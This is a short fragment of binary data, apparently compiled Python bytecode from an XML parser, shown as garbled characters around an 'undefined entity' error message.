dd…ƒd|_dS)NrrÐr)rÿz'undefined entity %s: line %d, column %dé r±é z "s¦) A   0t4 =2 2  05   KU